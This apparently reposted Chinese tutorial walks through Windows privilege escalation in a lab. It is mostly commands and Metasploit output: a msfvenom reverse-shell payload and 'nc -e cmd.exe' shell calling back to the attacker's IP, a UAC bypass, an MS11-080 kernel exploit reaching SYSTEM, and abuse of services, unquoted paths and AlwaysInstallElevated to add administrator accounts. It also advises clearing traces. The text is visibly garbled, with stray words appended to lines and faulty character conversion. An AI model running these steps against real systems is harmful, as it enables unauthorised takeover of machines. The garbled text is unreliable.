本文參考自冷逸大佬的博客,源地址在這裏:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/html
- user - administrator - system
一些經常使用命令:mysql
systeminfo | findstr OS #獲取系統版本信息 hostname #獲取主機名稱 whomai /priv #顯示當前用戶的安全特權 quser or query user #獲取在線用戶 netstat -ano | findstr 3389 #獲取rdp鏈接來源IP dir c:\programdata\ #分析安裝殺軟 wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安裝的補丁 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #獲取遠程端口 tasklist /svc | find "TermService" + netstat -ano #獲取遠程端口
如今03的機器已經不多了,因此如今只是簡單的說一些常見的思路,操做,第三方之類的除外git
實驗環境:github
windows 2003:192.168.0.105sql
kali : 192.168.0.107shell
首先生成個木馬:windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f exe -o payload.exe
若是有waf,生成的木馬文件會被刪除,可使用veil生成免殺馬,固然若是隻是爲了反彈shell,也能夠上傳一個nc.exe,在目標服務器上執行nc正向鏈接:安全
nc.exe -e cmd.exe 192.168.0.107 4444
nc shell反彈成功後:服務器
msf shell反彈成功後,查看當前權限session
windows2003 能夠直接 getsystem提權
提權失敗,通常多是uac的問題,嘗試bypass uac
msf5 exploit(multi/handler) > use exploit/windows/local/ask msf5 exploit(windows/local/ask) > show options Module options (exploit/windows/local/ask): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME no File name on disk PATH no Location on disk, %TEMP% used if not set SESSION yes The session to run this module on. TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE) Exploit target: Id Name -- ----
0 Windows msf5 exploit(windows/local/ask) > set SESSION 2 SESSION => 2 msf5 exploit(windows/local/ask) > set TECHNIQUE up.exe [-] The following options failed to validate: Value 'up.exe' is not valid for option 'TECHNIQUE'. TECHNIQUE => EXE msf5 exploit(windows/local/ask) > set TECHNIQUE EXE TECHNIQUE => EXE msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(windows/local/ask) > set lhost 192.168.0.107 lhost => 192.168.0.107 msf5 exploit(windows/local/ask) > show options Module options (exploit/windows/local/ask): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME no File name on disk PATH no Location on disk, %TEMP% used if not set SESSION 2 yes The session to run this module on. TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.0.107 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ----
0 Windows msf5 exploit(windows/local/ask) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ----------
1 meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107:4444 -> 192.168.0.105:1032 (192.168.0.105) 2 meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107:4444 -> 192.168.0.105:1033 (192.168.0.105) msf5 exploit(windows/local/ask) > exploit [*] Started reverse TCP handler on 192.168.0.107:4444 [+] UAC is not enabled, no prompt for the user [*] Uploading VerOkoVbPk.exe - 73802 bytes to the filesystem... [*] Executing Command!
或者
使用漏洞提權
meterpreter > run post/windows/gather/enum_patches [+] KB2871997 is missing [+] KB2928120 is missing [+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86) [+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008 [+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2 [+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity [+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1 [+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1
以ms11-080爲例
msf5 > use exploit/windows/local/ms11_080_afdjoinleaf msf5 exploit(windows/local/ms11_080_afdjoinleaf) > show options Module options (exploit/windows/local/ms11_080_afdjoinleaf): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. Exploit target: Id Name -- ----
0 Automatic msf5 exploit(windows/local/ms11_080_afdjoinleaf) > set SESSION 2 SESSION => 2 msf5 exploit(windows/local/ms11_080_afdjoinleaf) > run [*] Started reverse TCP handler on 192.168.0.107:4444 [*] Running against Windows Server 2003 SP2 [*] HaliQuerySystemInformation Address: 0x80a6ba1e [*] HalpSetSystemInformation Address: 0x80a6dc60 [*] Triggering AFDJoinLeaf pointer overwrite... [*] Injecting the payload into SYSTEM process: winlogon.exe [*] Sending stage (179779 bytes) to 192.168.0.105 [*] Restoring the original token... [*] Meterpreter session 3 opened (192.168.0.107:4444 -> 192.168.0.105:1035) at 2019-05-13 21:26:33 +0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
提權成功
在 Windows2000、Windows 200三、Windows XP 這三類系統中,咱們能夠輕鬆將Administrators 組下的用戶權限提高到 SYSTEM
at 是一個發佈定時任務計劃的命令行工具,語法比較簡單。經過 at 命令發佈的定時任務計劃, Windows 默認以 SYSTEM 權限運行。定時任務計劃能夠是批處理、
能夠是一個二進制文件。
語法:at 時間 命令 例子:at 10:45PM calc.exe
該命令會發佈一個定時任務計劃,在每日的 10:45 啓動 calc.exe。
咱們能夠經過 「/interactive」開啓界面交互模式:
at 10:45PM /interactive calc.exe
在獲得一個system的cmd以後,使用taskmgr命令調用任務管理器,此時的任務管理器是system權限,而後kill掉explore進程,
再使用任務管理器新建explore進程,將會獲得一個system的桌面環境
能夠採用 Regsvr32 一條命令上線
msf下配置
cmd下執行
等待上線
但是這裏通常會出現問題..
而後咱們也能夠選擇上線木馬的方式來獲取shell
等待上線
上線後爲system
ps:經測試03也能夠
關於sc命令:
SC 是用於與服務控制管理器和服務進行通訊的命令行程序。提供的功能相似於「控制面板」中「管理工具」項中的「服務」。
建立一個名叫syscmd的新的交互式的cmd服務:
SC Create syscmd binPath= "cmd /K start" type= own type= interact
而後執行:
sc start systcmd
就獲得了一個system權限的cmd環境
當系統管理員配置Windows服務時,他們必須指定要執行的命令,或者運行可執行文件的路徑。
當Windows服務運行時,會發生如下兩種狀況之一。若是給出了可執行文件,而且引用了完整路徑,則系統會按字面解釋它並執行。可是,若是服務的二進制路徑未包含在引號中,則操做系統將會執行找到的空格分隔的服務路徑的第一個實例。
這可能有點不直觀,因此讓咱們來看一個實際的例子。假設服務配置相似於如下存在bug的示例服務:
Windows命令解釋程序可能會遇到名稱中的空格,而且但願經過將字符串包裝在引號中來對它們進行轉義。在上面的示例中,若是系統運行該服務,它將嘗試運行如下可執行文件:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
因此若是咱們可以上傳一個適當命名的惡意可執行程序在受影響的目錄,服務一旦重啓,咱們的惡意程序就會以system權限運行(大多數狀況下)。
咱們可使用如下命令查看錯誤配置的路徑
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
這裏咱們枚舉出下列路徑:
C:\Program Files (x86)\Cisco\Cisco HostScan\bin\ciscod.exe
這個路徑沒有被雙引號包裹,並且文件名中也存在空格。
如今,咱們須要使用下列命令識別文件目錄權限,判斷是否有寫入權限:
icacls C:\Program Files (x86)\Cisco
(M)表明修改權限,(F)表明徹底控制,(CI)表明從屬容器將繼承訪問控制項,(OI)表明從屬文件將繼承訪問控制項。
若是它給任何人提供了寫入權限,這也就意味着任何用戶均可以重寫該文件
將咱們須要執行的exe根據須要重命名並放置在可寫入的有漏洞目錄下,而後運行以下命令嘗試重啓服務,若是失敗的話等待服務器重啓時執行exe,成功提權後記得清理痕跡。
重啓機器:
sc stop service_name
sc start service_name
假如咱們的exe會彈回一個SYSTEM權限的meterpreter shell,可是咱們新獲得的會話很快就中斷了。這是由於當一個服務在Windows系統中啓動後,它必須和服務控制管理器通訊。若是沒有通訊,服務控制管理器會認爲出現了錯誤,並會終止這個進程。咱們全部須要作的就是在終止載荷進程以前,將它遷移到其它進程,也可使用自動遷移:
set AutoRunScript migrate -f
此外msf下已經集成了該模塊(exploit/windows/local/trusted_service_path )
不過不太好用...
Windows系統服務文件在操做系統啓動時會加載執行,而且在後臺調用可執行文件。好比,JAVA升級程序,每次重啓系統時,JAVA升級程序會檢測Oracle網站,是否有新版JAVA程序。而相似JAVA程序之類的系統服務程序加載時每每都是運行在系統權限上的。因此若是一個低權限的用戶對於此類系統服務調用的可執行文件具備可寫的權限,那麼就能夠將其替換成咱們的惡意可執行文件,從而隨着系統啓動服務而得到系統權限。
metasploit集成了漏洞利用模塊exploit/windows/local/service_permissions。
1.檢查易受攻擊的服務.SERVICE_ALL_ACCESS的意思是咱們對「Vulnerable Service」的屬性擁有徹底控制權。
accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv "user" *
2.查看能夠徹底控制的服務的屬性:
sc qc "Service"
3.修改服務配置執行命令。BINARY_PATH_NAME參數指向了該服務的可執行程序(PFNET)路徑。若是咱們將這個值修改爲任何命令,那意味着這個命令在該服務下一次啓動時,將會以SYSTEM權限運行。
sc config PFNET binpath= "net user rottenadmin P@ssword123! /add" sc stop PFNET sc start PFNET
sc config PFNET binpath= "net localgroup rottenadmin P@ssword123! /add" sc stop PFNET sc start PFNET
當嘗試啓動服務時,它會返回一個錯誤。這一點咱們以前已經討論過了,在Windows系統中,當一個服務在Windows系統中啓動後,它必須和服務控制管理器通訊。若是沒有通訊,服務控制管理器會認爲出現了錯誤,並會終止這個進程。上面的「net user」確定是沒法和服務管理器通訊的,可是不用擔憂,咱們的命令已經以SYSTEM權限運行了,而且成功添加了一個用戶。
4.提權成功後修改服務配置,清理痕跡。
AlwaysInstallElevated是一個策略設置,容許非管理用戶以SYSTEM權限運行Microsoft Windows安裝程序包(.MSI文件)的設置。默認狀況下禁用此設置,需系統管理員手動啓用他,當在系統中使用Windows Installer安裝任何程序時,該參數容許非特權用戶以system權限運行MSI文件。若是目標系統上啓用了這一設置,咱們可使用msf生成msi文件來以system權限執行任意payload。
能夠經過查詢如下注冊表來識別此設置,當兩個註冊表鍵值查詢結果均爲1時,表明該策略已啓用。:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] 「AlwaysInstallElevated」=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] 「AlwaysInstallElevated」=dword:00000001
詳細利用步驟以下:
使用reg query命令查詢是否存在漏洞
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
若是存在漏洞,上面將輸出如下內容
若是系統沒這個漏洞,它將輸出錯誤
C:\Users\hp\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ERROR: The system was unable to find the specified registry key or value.
而後咱們使用msfvenom生成msi文件,進行提權
msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi
而後使用
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi
便可
另附參考連接:
提權系列(一)----Windows Service 服務器提權初識與exp提權,mysql提權
提權系列(二)----Windows Service 服務器提權之Mssql提權,GetPass提權,hash提權,LPK提權